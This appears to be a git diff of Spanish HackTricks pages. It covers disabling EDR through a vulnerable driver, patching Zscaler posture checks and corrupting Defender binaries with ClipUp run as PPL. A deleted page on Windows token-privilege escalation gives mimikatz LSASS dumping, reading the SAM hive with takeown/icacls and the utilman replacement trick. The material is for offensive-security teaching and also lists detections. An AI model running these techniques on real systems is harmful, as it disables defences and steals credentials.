sc start ServiceMouse
```
La primera línea registra el driver como un **servicio kernel** y la segunda lo inicia para que `\\.\ServiceMouse` sea accesible desde user land.
La primera línea registra el driver como un **servicio kernel** y la segunda lo inicia para que `\\.\ServiceMouse` sea accesible desde el espacio de usuario.
3. **IOCTLs exposed by the driver**
| IOCTL code | Capability |
|-----------:|-----------------------------------------|
| `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) |
| `0x990000D0` | Delete an arbitrary file on disk |
| `0x990001D0` | Unload the driver and remove the service |
| `0x99000050` | Terminar un proceso arbitrario por PID (usado para matar servicios Defender/EDR) |
| `0x990000D0` | Eliminar un archivo arbitrario en disco |
| `0x990001D0` | Descargar el driver y eliminar el servicio |
Minimal C proof-of-concept:
```c
@ -725,28 +724,28 @@ CloseHandle(hDrv);
return 0;
}
```
4. **Why it works**: BYOVD evita por completo las protecciones en user-mode; el código que se ejecuta en el kernel puede abrir procesos *protegidos*, terminarlos o manipular objetos del kernel independientemente de PPL/PP, ELAM u otras características de hardening.
4. **Por qué funciona**: BYOVD omite por completo las protecciones en modo usuario; el código que se ejecuta en el kernel puede abrir procesos *protegidos*, terminarlos o manipular objetos del kernel independientemente de PPL/PP, ELAM u otras medidas de hardening.
Detection / Mitigation
Detección / Mitigación
• Habilitar la lista de bloqueo de drivers vulnerables de Microsoft (`HVCI`, `Smart App Control`) para que Windows se niegue a cargar `AToolsKrnl64.sys`.
• Monitorizar la creación de nuevos servicios *kernel* y alertar cuando un driver se cargue desde un directorio world-writable o no esté presente en la allow-list.
• Vigilar handles en user-mode hacia objetos de dispositivo personalizados seguidos de llamadas sospechosas a `DeviceIoControl`.
• Monitorear la creación de nuevos servicios *kernel* y alertar cuando un driver se cargue desde un directorio con permisos de escritura para todos (world-writable) o no esté presente en la lista de permitidos.
• Vigilar los handles en modo usuario a objetos de dispositivo personalizados seguidos de llamadas sospechosas a `DeviceIoControl`.
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
### Evadiendo las comprobaciones de postura de Zscaler Client Connector mediante parcheo de binarios en disco
Zscalers **Client Connector** aplica reglas de posture del dispositivo localmente y se apoya en Windows RPC para comunicar los resultados a otros componentes. Dos decisiones de diseño débiles hacen posible un bypass completo:
Zscalers **Client Connector** aplica reglas de postura del dispositivo localmente y confía en Windows RPC para comunicar los resultados a otros componentes. Dos decisiones de diseño débiles hacen posible una evasión completa:
1. La evaluación de posture ocurre **completamente en el cliente** (se envía un booleano al servidor).
2. Los endpoints RPC internos sólo validan que el ejecutable conectante esté **firmado por Zscaler** (vía `WinVerifyTrust`).
1. La evaluación de postura ocurre **completamente del lado del cliente** (se envía un booleano al servidor).
2. Los endpoints RPC internos solo validan que el ejecutable que se conecta esté **firmado por Zscaler** (vía `WinVerifyTrust`).
Al parchear cuatro binarios firmados en disco se pueden neutralizar ambos mecanismos:
Al **parchear cuatro binarios firmados en disco** ambos mecanismos pueden ser neutralizados:
| Binary | Original logic patched | Result |
|--------|------------------------|--------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Siempre devuelve `1`, por lo que cada comprobación es conforme |
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ cualquier proceso (incluso no firmado) puede enlazarse a las pipes RPC |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Reemplazado por `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Integrity checks on the tunnel | Cortocircuitado |
| Binario | Lógica original parcheada | Resultado |
|--------|---------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Siempre devuelve `1`, por lo que cada comprobación pasa como conforme |
| `ZSAService.exe` | Llamada indirecta a `WinVerifyTrust` | NOP-ed ⇒ cualquier proceso (incluso sin firmar) puede enlazarse a las pipes RPC |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Reemplazada por `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Comprobaciones de integridad en el túnel | Cortocircuitadas |
Minimal patcher excerpt:
```python
@ -762,22 +761,22 @@ else:
f.seek(off)
f.write(replacement)
```
Después de reemplazar los archivos originales y reiniciar la pila de servicios:
Después de reemplazar los archivos originales y reiniciar el service stack:
* **All** posture checks display **green/compliant**.
* Unsigned or modified binaries can open the named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* The compromised host gains unrestricted access to the internal network defined by the Zscaler policies.
* **Todas** las comprobaciones de postura muestran **verde/conforme**.
* Binaries sin firmar o modificados pueden abrir los named-pipe RPC endpoints (p. ej. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* El host comprometido obtiene acceso sin restricciones a la red interna definida por las políticas de Zscaler.
Este estudio de caso demuestra cómo decisiones de confianza puramente del lado del cliente y simples comprobaciones de firma pueden ser derrotadas con unos pocos parches de bytes.
Este estudio de caso demuestra cómo decisiones de confianza puramente del lado del cliente y comprobaciones de firma simples pueden ser derrotadas con unos pocos parches de bytes.
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
## Abusar de Protected Process Light (PPL) para manipular AV/EDR con LOLBINs
Protected Process Light (PPL) aplica una jerarquía de signer/level de modo que solo procesos protegidos de nivel igual o superior pueden manipularse entre sí. Ofensivamente, si puedes lanzar legítimamente un binario habilitado para PPL y controlar sus argumentos, puedes convertir funcionalidad benigna (p. ej., logging) en una primitiva de escritura respaldada por PPL contra directorios protegidos usados por AV/EDR.
Protected Process Light (PPL) aplica una jerarquía de firmante/nivel de modo que solo procesos protegidos de igual o mayor nivel puedan manipularse entre sí. Desde un punto de vista ofensivo, si puedes lanzar legítimamente un binary habilitado para PPL y controlar sus argumentos, puedes convertir funcionalidad benigna (p. ej., logging) en una primitiva de escritura restringida respaldada por PPL contra directorios protegidos usados por AV/EDR.
What makes a process run as PPL
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
- El EXE objetivo (y cualquier DLL cargada) debe estar firmado con un EKU compatible con PPL.
- El proceso debe crearse con CreateProcess usando las flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- Se debe solicitar un nivel de protección compatible que coincida con el firmante del binary (p. ej., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` para firmantes anti-malware, `PROTECTION_LEVEL_WINDOWS` para firmantes de Windows). Niveles incorrectos harán que la creación falle.
See also a broader intro to PP/PPL and LSASS protection here:
@ -786,9 +785,9 @@ stealing-credentials/credentials-protections.md
{{#endref}}
Launcher tooling
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
- Herramienta de código abierto: CreateProcessAsPPL (selecciona el nivel de protección y reenvía los argumentos al EXE objetivo):
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
- Usage pattern:
- Patrón de uso:
```text
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
@ -796,57 +795,57 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
```
LOLBIN primitive: ClipUp.exe
Primitiva LOLBIN: ClipUp.exe
- El binario del sistema firmado `C:\Windows\System32\ClipUp.exe` se auto-inicia y acepta un parámetro para escribir un archivo de registro en una ruta especificada por el llamador.
- Cuando se inicia como proceso PPL, la escritura del archivo ocurre con respaldo PPL.
- ClipUp no puede parsear rutas que contienen espacios; usa rutas cortas 8.3 para apuntar a ubicaciones normalmente protegidas.
- Cuando se lanza como un proceso PPL, la escritura de archivo ocurre con respaldo PPL.
- ClipUp no puede analizar rutas que contienen espacios; use rutas cortas 8.3 para apuntar a ubicaciones normalmente protegidas.
8.3 short path helpers
Herramientas para rutas cortas 8.3
- Listar nombres cortos: `dir /x` en cada directorio padre.
- Derivar ruta corta en cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
Abuse chain (abstract)
1) Lanza el LOLBIN capaz de PPL (ClipUp) con `CREATE_PROTECTED_PROCESS` usando un lanzador (p. ej., CreateProcessAsPPL).
2) Pasa el argumento de ruta de log de ClipUp para forzar la creación de un archivo en un directorio AV protegido (p. ej., Defender Platform). Usa nombres cortos 8.3 si es necesario.
3) Si el binario objetivo normalmente está abierto/bloqueado por el AV mientras se ejecuta (p. ej., MsMpEng.exe), programa la escritura en el arranque antes de que el AV se inicie instalando un servicio de autoarranque que se ejecute antes de forma fiable. Valida el orden de arranque con Process Monitor (boot logging).
4) Al reiniciar, la escritura con respaldo PPL ocurre antes de que el AV bloquee sus binarios, corrompiendo el archivo objetivo e impidiendo el arranque.
Cadena de abuso (abstracta)
1) Lanzar el LOLBIN compatible con PPL (ClipUp) con `CREATE_PROTECTED_PROCESS` usando un lanzador (p. ej., CreateProcessAsPPL).
2) Pasar el argumento de ruta de log de ClipUp para forzar la creación de un archivo en un directorio AV protegido (p. ej., Defender Platform). Use nombres cortos 8.3 si es necesario.
3) Si el binario objetivo normalmente está abierto/bloqueado por el AV mientras se ejecuta (p. ej., MsMpEng.exe), programe la escritura en el arranque antes de que el AV inicie instalando un servicio de auto-inicio que se ejecute antes de forma fiable. Valide el orden de arranque con Process Monitor (registro de arranque).
4) Al reiniciar, la escritura respaldada por PPL ocurre antes de que el AV bloquee sus binarios, corrompiendo el archivo objetivo e impidiendo el inicio.
Example invocation (paths redacted/shortened for safety):
Invocación de ejemplo (rutas redactadas/acortadas por seguridad):
```text
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
```
Notas y restricciones
- No puedes controlar el contenido que ClipUp escribe más allá de la ubicación; la primitiva está diseñada para corrupción más que para inyección de contenido precisa.
- Requiere admin local/SYSTEM para instalar/iniciar un servicio y una ventana de reinicio.
Notes and constraints
- No puedes controlar el contenido que ClipUp escribe más allá de la ubicación; la primitiva está diseñada para la corrupción más que para la inyección precisa de contenido.
- Requiere administrador local/SYSTEM para instalar/iniciar un servicio y una ventana de reinicio.
- La sincronización es crítica: el objetivo no debe estar abierto; la ejecución en tiempo de arranque evita bloqueos de archivos.
Detecciones
- Creación de procesos de `ClipUp.exe` con argumentos inusuales, especialmente si tienen como padre lanzadores no estándar, durante el arranque.
- Nuevos servicios configurados para auto-iniciar binarios sospechosos y que consistentemente arrancan antes de Defender/AV. Investigar la creación/modificación de servicios previa a fallos de arranque de Defender.
- Monitoreo de integridad de archivos en binarios de Defender/directorios Platform; creaciones/modificaciones de archivos inesperadas por procesos con banderas de protected-process.
- Telemetría ETW/EDR: buscar procesos creados con `CREATE_PROTECTED_PROCESS` y uso anómalo de niveles PPL por binarios no-AV.
Detections
- Creación del proceso `ClipUp.exe` con argumentos inusuales, especialmente si su proceso padre es un lanzador no estándar, durante el arranque.
- Nuevos servicios configurados para auto-iniciar binarios sospechosos y que consistentemente arrancan antes que Defender/AV. Investigar la creación/modificación de servicios previa a fallos en el arranque de Defender.
- Monitorización de integridad de archivos en los binarios de Defender/directorios Platform; creaciones/modificaciones inesperadas de archivos por procesos con flags de `protected-process`.
- Telemetría ETW/EDR: buscar procesos creados con `CREATE_PROTECTED_PROCESS` y uso anómalo de niveles PPL por binarios que no sean AV.
Mitigaciones
- WDAC/Code Integrity: restringir qué binarios firmados pueden ejecutarse como PPL y bajo qué padres; bloquear invocaciones de ClipUp fuera de contextos legítimos.
- Higiene de servicios: restringir la creación/modificación de servicios de auto-inicio y monitorizar la manipulación del orden de arranque.
- Asegurar que Defender tamper protection y las protecciones de early-launch estén habilitadas; investigar errores de inicio que indiquen corrupción de binarios.
- Considerar deshabilitar la generación de nombres cortos 8.3 en volúmenes que alojan herramientas de seguridad si es compatible con su entorno (probar exhaustivamente).
Mitigations
- WDAC/Code Integrity: restringir qué binarios firmados pueden ejecutarse como PPL y bajo qué procesos padres; bloquear invocaciones de ClipUp fuera de contextos legítimos.
- Higiene de servicios: restringir la creación/modificación de servicios de auto-arranque y monitorizar manipulaciones del orden de inicio.
- Asegurar que Defender tamper protection y early-launch protections estén habilitadas; investigar errores de inicio que indiquen corrupción de binarios.
- Considerar deshabilitar la generación de nombres cortos 8.3 en volúmenes que alojen herramientas de seguridad si es compatible con su entorno (probar a fondo).
Referencias sobre PPL y herramientas
- Descripción general de Microsoft Protected Processes: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- Referencia EKU: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (validación del orden): https://learn.microsoft.com/sysinternals/downloads/procmon
- Lanzador CreateProcessAsPPL: https://github.com/2x7EQ13/CreateProcessAsPPL
- Artículo técnico (ClipUp + PPL + manipulación del orden de arranque): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
References for PPL and tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
## Referencias
## References
- [Unit42 Nueva cadena de infección y ofuscación basada en ConfuserEx para DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv ¿Deberías confiar en tu zero trust? Evadiendo los controles de postura de Zscaler](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
- [Check Point Research Before ToolShell: Explorando las operaciones ransomware previas de Storm-2603](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
- [Hexacorn DLL ForwardSideLoading: Abusando de Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/)
- [Inventario de Forwarded Exports de Windows 11 (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt)
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
- [Check Point Research Before ToolShell: Exploring Storm-2603s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
- [Hexacorn DLL ForwardSideLoading: Abusing Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/)
- [Windows 11 Forwarded Exports Inventory (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt)
- [Microsoft Docs Known DLLs](https://learn.microsoft.com/windows/win32/dlls/known-dlls)
- [Microsoft Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes)
- [Microsoft EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)

View File

@ -1,180 +0,0 @@
# Abusing Tokens
{{#include ../../../banners/hacktricks-training.md}}
## Tokens
Si **no sabes qué son los Tokens de Acceso de Windows**, lee esta página antes de continuar:
{{#ref}}
../access-tokens.md
{{#endref}}
**Quizás podrías escalar privilegios abusando de los tokens que ya tienes**
### SeImpersonatePrivilege
Este es un privilegio que posee cualquier proceso que permite la suplantación (pero no la creación) de cualquier token, dado que se puede obtener un handle para ello. Un token privilegiado se puede adquirir de un servicio de Windows (DCOM) induciéndolo a realizar autenticación NTLM contra un exploit, lo que permite posteriormente la ejecución de un proceso con privilegios de SYSTEM. Esta vulnerabilidad se puede explotar utilizando varias herramientas, como [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (que requiere que winrm esté deshabilitado), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) y [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
{{#ref}}
../roguepotato-and-printspoofer.md
{{#endref}}
{{#ref}}
../juicypotato.md
{{#endref}}
### SeAssignPrimaryPrivilege
Es muy similar a **SeImpersonatePrivilege**, utilizará el **mismo método** para obtener un token privilegiado.\
Luego, este privilegio permite **asignar un token primario** a un proceso nuevo/suspendido. Con el token de suplantación privilegiado puedes derivar un token primario (DuplicateTokenEx).\
Con el token, puedes crear un **nuevo proceso** con 'CreateProcessAsUser' o crear un proceso suspendido y **establecer el token** (en general, no puedes modificar el token primario de un proceso en ejecución).
### SeTcbPrivilege
Si tienes habilitado este token, puedes usar **KERB_S4U_LOGON** para obtener un **token de suplantación** para cualquier otro usuario sin conocer las credenciales, **agregar un grupo arbitrario** (administradores) al token, establecer el **nivel de integridad** del token a "**medio**", y asignar este token al **hilo actual** (SetThreadToken).
### SeBackupPrivilege
El sistema se ve obligado a **otorgar todo acceso de lectura** a cualquier archivo (limitado a operaciones de lectura) por este privilegio. Se utiliza para **leer los hashes de contraseñas de cuentas de Administrador local** desde el registro, tras lo cual, herramientas como "**psexec**" o "**wmiexec**" pueden ser utilizadas con el hash (técnica Pass-the-Hash). Sin embargo, esta técnica falla bajo dos condiciones: cuando la cuenta de Administrador local está deshabilitada, o cuando hay una política que elimina los derechos administrativos de los Administradores locales que se conectan de forma remota.\
Puedes **abusar de este privilegio** con:
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
- siguiendo **IppSec** en [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
- O como se explica en la sección **escalando privilegios con Operadores de Respaldo** de:
{{#ref}}
../../active-directory-methodology/privileged-groups-and-token-privileges.md
{{#endref}}
### SeRestorePrivilege
Este privilegio proporciona permiso para **acceso de escritura** a cualquier archivo del sistema, independientemente de la Lista de Control de Acceso (ACL) del archivo. Abre numerosas posibilidades para la escalación, incluyendo la capacidad de **modificar servicios**, realizar DLL Hijacking, y establecer **depuradores** a través de Opciones de Ejecución de Archivos de Imagen entre varias otras técnicas.
### SeCreateTokenPrivilege
SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usuario posee la capacidad de suplantar tokens, pero también en ausencia de SeImpersonatePrivilege. Esta capacidad depende de la habilidad para suplantar un token que representa al mismo usuario y cuyo nivel de integridad no excede el del proceso actual.
**Puntos Clave:**
- **Suplantación sin SeImpersonatePrivilege:** Es posible aprovechar SeCreateTokenPrivilege para EoP al suplantar tokens bajo condiciones específicas.
- **Condiciones para la Suplantación de Tokens:** La suplantación exitosa requiere que el token objetivo pertenezca al mismo usuario y tenga un nivel de integridad que sea menor o igual al nivel de integridad del proceso que intenta la suplantación.
- **Creación y Modificación de Tokens de Suplantación:** Los usuarios pueden crear un token de suplantación y mejorarlo añadiendo un SID (Identificador de Seguridad) de un grupo privilegiado.
### SeLoadDriverPrivilege
Este privilegio permite **cargar y descargar controladores de dispositivos** con la creación de una entrada en el registro con valores específicos para `ImagePath` y `Type`. Dado que el acceso de escritura directo a `HKLM` (HKEY_LOCAL_MACHINE) está restringido, se debe utilizar `HKCU` (HKEY_CURRENT_USER) en su lugar. Sin embargo, para que `HKCU` sea reconocible por el núcleo para la configuración del controlador, se debe seguir un camino específico.
Este camino es `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`, donde `<RID>` es el Identificador Relativo del usuario actual. Dentro de `HKCU`, se debe crear todo este camino, y se deben establecer dos valores:
- `ImagePath`, que es la ruta al binario que se va a ejecutar
- `Type`, con un valor de `SERVICE_KERNEL_DRIVER` (`0x00000001`).
**Pasos a Seguir:**
1. Acceder a `HKCU` en lugar de `HKLM` debido al acceso de escritura restringido.
2. Crear el camino `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` dentro de `HKCU`, donde `<RID>` representa el Identificador Relativo del usuario actual.
3. Establecer el `ImagePath` a la ruta de ejecución del binario.
4. Asignar el `Type` como `SERVICE_KERNEL_DRIVER` (`0x00000001`).
```python
# Example Python code to set the registry values
import winreg as reg
# Define the path and values
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
reg.CloseKey(key)
```
Más formas de abusar de este privilegio en [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
### SeTakeOwnershipPrivilege
Esto es similar a **SeRestorePrivilege**. Su función principal permite que un proceso **asuma la propiedad de un objeto**, eludiendo el requisito de acceso discrecional explícito a través de la provisión de derechos de acceso WRITE_OWNER. El proceso implica primero asegurar la propiedad de la clave del registro destinada a fines de escritura, y luego alterar el DACL para habilitar las operaciones de escritura.
```bash
takeown /f 'C:\some\file.txt' #Now the file is owned by you
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
# Use this with files that might contain credentials such as
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
c:\inetpub\wwwwroot\web.config
```
### SeDebugPrivilege
Este privilegio permite **depurar otros procesos**, incluyendo leer y escribir en la memoria. Se pueden emplear varias estrategias para la inyección de memoria, capaces de evadir la mayoría de las soluciones antivirus y de prevención de intrusiones en host, con este privilegio.
#### Dump memory
Puedes usar [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) de la [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) o [SharpDump](https://github.com/GhostPack/SharpDump) para **capturar la memoria de un proceso**. Específicamente, esto puede aplicarse al proceso **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, que es responsable de almacenar las credenciales de usuario una vez que un usuario ha iniciado sesión con éxito en un sistema.
Luego puedes cargar este volcado en mimikatz para obtener contraseñas:
```
mimikatz.exe
mimikatz # log
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```
#### RCE
Si quieres obtener un shell de `NT SYSTEM`, podrías usar:
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
- [**psgetsys.ps1 (Script de Powershell)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
```bash
# Get the PID of a process running as NT SYSTEM
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
```
### SeManageVolumePrivilege
El `SeManageVolumePrivilege` es un derecho de usuario de Windows que permite a los usuarios gestionar volúmenes de disco, incluyendo su creación y eliminación. Aunque está destinado a administradores, si se concede a usuarios no administradores, puede ser explotado para la escalada de privilegios.
Es posible aprovechar este privilegio para manipular volúmenes, lo que lleva a un acceso completo al volumen. El [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) se puede utilizar para dar acceso completo a todos los usuarios para C:\
Además, el proceso descrito en [este artículo de Medium](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) describe el uso de DLL hijacking en conjunto con `SeManageVolumePrivilege` para escalar privilegios. Al colocar un DLL de carga útil `C:\Windows\System32\wbem\tzres.dll` y llamar a `systeminfo`, se ejecuta el dll.
## Check privileges
```
whoami /priv
```
Los **tokens que aparecen como Deshabilitados** pueden ser habilitados, en realidad puedes abusar de los tokens _Habilitados_ y _Deshabilitados_.
### Habilitar Todos los tokens
Si tienes tokens deshabilitados, puedes usar el script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) para habilitar todos los tokens:
```bash
.\EnableAllTokenPrivs.ps1
whoami /priv
```
O el **script** incrustado en esta [**publicación**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
## Tabla
Hoja de trucos de privilegios de token completa en [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), el resumen a continuación solo enumerará formas directas de explotar el privilegio para obtener una sesión de administrador o leer archivos sensibles.
| Privilegio | Impacto | Herramienta | Ruta de ejecución | Observaciones |
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **`SeAssignPrimaryToken`** | _**Admin**_ | herramienta de terceros | _"Permitiría a un usuario impersonar tokens y escalar privilegios a nt system usando herramientas como potato.exe, rottenpotato.exe y juicypotato.exe"_ | Gracias [Aurélien Chalot](https://twitter.com/Defte_) por la actualización. Intentaré reformularlo a algo más parecido a una receta pronto. |
| **`SeBackup`** | **Amenaza** | _**Comandos integrados**_ | Leer archivos sensibles con `robocopy /b` | <p>- Puede ser más interesante si puedes leer %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (y robocopy) no son útiles cuando se trata de archivos abiertos.<br><br>- Robocopy requiere tanto SeBackup como SeRestore para trabajar con el parámetro /b.</p> |
| **`SeCreateToken`** | _**Admin**_ | herramienta de terceros | Crear un token arbitrario que incluya derechos de administrador local con `NtCreateToken`. | |
| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicar el token de `lsass.exe`. | Script disponible en [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
| **`SeLoadDriver`** | _**Admin**_ | herramienta de terceros | <p>1. Cargar un controlador de kernel con errores como <code>szkg64.sys</code><br>2. Explotar la vulnerabilidad del controlador<br><br>Alternativamente, el privilegio puede usarse para descargar controladores relacionados con la seguridad con el comando integrado <code>ftlMC</code>. es decir: <code>fltMC sysmondrv</code></p> | <p>1. La vulnerabilidad de <code>szkg64</code> está listada como <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. El <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">código de explotación</a> fue creado por <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. Iniciar PowerShell/ISE con el privilegio SeRestore presente.<br>2. Habilitar el privilegio con <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>.<br>3. Renombrar utilman.exe a utilman.old<br>4. Renombrar cmd.exe a utilman.exe<br>5. Bloquear la consola y presionar Win+U</p> | <p>El ataque puede ser detectado por algún software antivirus.</p><p>El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio</p> |
| **`SeTakeOwnership`** | _**Admin**_ | _**Comandos integrados**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Renombrar cmd.exe a utilman.exe<br>4. Bloquear la consola y presionar Win+U</p> | <p>El ataque puede ser detectado por algún software antivirus.</p><p>El método alternativo se basa en reemplazar los binarios de servicio almacenados en "Program Files" utilizando el mismo privilegio.</p> |
| **`SeTcb`** | _**Admin**_ | herramienta de terceros | <p>Manipular tokens para incluir derechos de administrador local. Puede requerir SeImpersonate.</p><p>Por verificar.</p> | |
## Referencia
- Echa un vistazo a esta tabla que define los tokens de Windows: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
- Echa un vistazo a [**este documento**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) sobre la escalada de privilegios con tokens.
{{#include ../../../banners/hacktricks-training.md}}